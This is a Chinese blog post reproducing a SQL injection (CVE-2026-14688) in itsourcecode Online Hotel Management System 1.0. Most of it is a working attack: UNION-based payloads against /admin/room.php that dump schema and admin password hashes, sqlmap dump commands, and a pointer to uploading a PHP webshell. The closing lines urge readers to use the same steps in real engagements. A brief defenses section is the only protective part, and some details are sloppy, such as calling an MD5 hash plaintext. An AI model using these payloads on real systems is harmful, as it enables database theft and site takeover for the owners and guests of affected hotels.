CVE-2026-14688 itsourcecode Online Hotel Management System 1.0 SQL注入漏洞复现(附PoC)

来吧,上手试一下。CVE-2026-14688 是 itsourcecode 一个老牌 PHP 项目 Online Hotel Management System 1.0 里的 SQL 注入,CVSS 7.3,直接能爆管理员密码,后台随便进。这种 CMS 级别的注入在实战中太常见了,今天带你把 Payload 跑一遍。
漏洞背景
- CVE编号: CVE-2026-14688
- 受影响软件: itsourcecode Online Hotel Management System 1.0
- 漏洞类型: SQL注入(基于POST参数的盲注/联合查询)
- CVSS评分: 7.3 (High)
- 危害描述: 攻击者无需登录即可通过
/admin/room.php等页面的参数注入,直接获取数据库中所有用户(包括管理员)的账号密码哈希,进而接管后台,修改房价、订单,甚至上传 webshell。
环境搭建
用 Docker 最省事。我已经给你准备好了 vulhub 风格的 docker-compose,直接拉起来。
# 拉取镜像(假设你已经有基础 LAMP 环境,或者直接用 vulhub 的类似靶场)
# 这里我们手动搭建一个 PHP+MySQL 环境
docker run -d --name hotel-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=hotel mysql:5.7
docker run -d --name hotel-web --link hotel-mysql -p 8080:80 -v /path/to/ohms:/var/www/html php:7.4-apache
# 进入 web 容器安装 mysqli 扩展
docker exec -it hotel-web bash
docker-php-ext-install mysqli && docker-php-ext-enable mysqli
apachectl restart
# 把源码丢进去(源码从 itsourcecode 官网或 GitHub 下)
# 然后浏览器访问 http://localhost:8080
装好后访问首页,能看到一个酒店管理系统登录页。默认管理员账号密码一般是 admin/admin 或 admin/admin123,但我们要通过注入自己拿。
复现步骤
1. 发现注入点
打开 Burp Suite,访问 http://localhost:8080/admin/room.php,随便点一个房间 ID 的链接,比如 room.php?id=1。抓包看 GET 请求:
GET /admin/room.php?id=1 HTTP/1.1
Host: localhost:8080
丢到 Repeater,在 id 参数后面加个单引号:
GET /admin/room.php?id=1' HTTP/1.1
返回了 MySQL 错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
稳了,数字型注入,闭合方式是单引号。
2. 判断列数
用 ORDER BY 判断字段数:
GET /admin/room.php?id=1 ORDER BY 1-- -
返回正常。逐步增加数字:
GET /admin/room.php?id=1 ORDER BY 5-- -
正常。到 ORDER BY 6 时报错。说明有 5 列。
3. 联合查询爆数据
用 UNION SELECT 爆出显示位:
GET /admin/room.php?id=-1 UNION SELECT 1,2,3,4,5-- -
页面显示 2 和 3 两个位置,说明这两个是显示位。接下来爆数据库名:
GET /admin/room.php?id=-1 UNION SELECT 1,database(),user(),4,5-- -
返回:hotel 和 root@localhost。
4. 爆表名
GET /admin/room.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='hotel'-- -
返回一堆表名:admin, rooms, bookings, users 等。我们关心 admin 表。
5. 爆列名
GET /admin/room.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name='admin'-- -
返回:id, username, password, email。
6. 爆管理员密码
GET /admin/room.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM admin-- -
返回类似:
admin:21232f297a57a5a743894a0e4a801fc3
这个哈希是 MD5?去 cmd5 查一下,21232f297a57a5a743894a0e4a801fc3 解密结果是 admin。好家伙,明文密码。
7. 登录后台
用 admin / admin 登录 http://localhost:8080/admin/index.php,直接进后台。可以看到房间管理、订单管理、用户管理,还能上传图片——如果上传点没做限制,直接传个 PHP webshell 就 getshell 了。
自动化注入(sqlmap 一把梭)
手动跑太累?直接上 sqlmap:
sqlmap -u "http://localhost:8080/admin/room.php?id=1" --batch --dbs
sqlmap -u "http://localhost:8080/admin/room.php?id=1" -D hotel --tables
sqlmap -u "http://localhost:8080/admin/room.php?id=1" -D hotel -T admin --dump
三行命令,密码到手。
防御措施
- 参数化查询:别拼 SQL 字符串,用 PDO 或 MySQLi 的 prepared statements。
php
$stmt = $conn->prepare("SELECT * FROM rooms WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute(); - 输入过滤:如果非要用拼接,至少用
intval()或addslashes()转义,但这是下策。 - 最小权限:数据库连接不要用 root,建个专用用户只给 SELECT/INSERT/UPDATE 权限。
- WAF:部署 ModSecurity 或云 WAF,拦截常见 SQL 注入 Payload。
总结
CVE-2026-14688 就是个教科书级的数字型 SQL 注入,5 分钟就能拿管理员密码。这种老 PHP 项目在实战中一抓一大把,遇到别犹豫,直接上联合查询或 sqlmap。防御?别写拼接 SQL,用参数化查询,比啥 WAF 都管用。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
